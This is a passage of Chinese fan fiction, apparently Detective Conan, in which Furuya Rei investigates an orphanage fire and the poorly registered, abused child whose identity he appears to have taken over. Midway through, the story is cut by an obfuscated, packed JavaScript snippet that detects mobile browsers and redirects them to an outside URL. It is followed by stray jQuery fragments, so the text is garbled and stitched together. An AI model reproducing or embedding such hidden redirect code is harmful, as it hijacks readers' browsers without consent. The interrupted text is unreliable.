拿到想要的信息——就是这个信息不太理想。

    一切要从头说起。

    资料显示，降谷零曾经待的地方名叫天和儿童福利院，是一家民办福利院，而这家福利院不久前发生了煤气爆炸，引起了大火，现场没有幸存者，资料也付之一炬。

    降谷零：。

    糟糕，这看起来有种一言难尽的既视感，世界意识应该不会为了清扫他身份背景的漏洞就炸了这里吧？

    好在世界意识没有那么组织。

    降谷零进一步调查发现这家福利院还有一个报道：其院从上到下，曾常年欺.凌一个孩子，后来是爱心资助人偶然发现，这才揭露这个恶行。

    这件事的结果是相关政府部门被问责，福利院被强制整改。

    至于孩子的去向，据评论里的相关人员说，是直接被资助人带走了。

    顺便一提，福利院因为这次事件，一直背负着社会恶名，哪怕在整改后也没有缓过来，渐渐没落，即将关停。意外事件也是因为院内的工作人员都在谋下路，对工作不上心，疏忽大意导致了惨剧。

    降谷零摸了摸下巴，觉得整件事情的逻辑非常合理，只是既然都“无一幸存”了，“他”又是怎么回事？哪怕他是那个被欺.凌和打压、然后被资助人带走的孩子，也应该留下只言片语吧？

    按照福利院的制度，除了福利院的内部工作人员，上级主管部门、资助方和相关协作单位都应该有院内孩子的资料存档……还是说，是因为已经被带走了，所以不计算在内？

    然而这个矛盾点的原

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17054948|194768||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    因很简单——当时福利院对那个孩子很不好，连档案都没给建，因此其他相关部门也就不知道有这样一个人存在。

    按理来说，那个孩子被资助人带走后是要补材料和□□件的，但是资助人以孩子身心状态不好为由，推迟了登记时间，出于人道主义关怀，政府那边同意了。

    结果这事一推就推了两个多月，期间原本负责跟办这件事的工作人员调离原岗位，接手的又是一个纯新人，在工作初期闹了不少乱子，然后好巧不巧，那个孩子的登记就是那个时候办的。

    于是理所当然的，整个流程就没有那么严谨，许多关键步骤被简化——这是降谷零从材料中看出来的——顺便，寄养流程一样潦草。

    降谷零：……

    如果是他手下的人，他高低要喊一句“你们就是这么干工作的吗”！

    不过话又说回来，这件事真巧啊……巧到不像那么巧的地步，降谷零严重怀疑这个调任有猫腻。

    从目前的线索看，世界意识用现在这种方法将降谷零的存在合理化是在借势而为，即：不论有没有降谷零，这些事情都是已经发生的。

    那么抛开降谷零本人不谈，单说关于这个孩子的事情，就处处充满违和感。

    比如，为什么那个资助人不立刻登记？资助人既然选择把孩子带回家，那么为什么选择寄养而不是直接领养？还有，为什么资助人在寄养流程里不露面？

    问题一大堆，可惜没办法继续往深查。

    不过这些都不重要，降谷零主要就是想知道世界意识给自己安排的人设背景，目前已经了解了个七七八八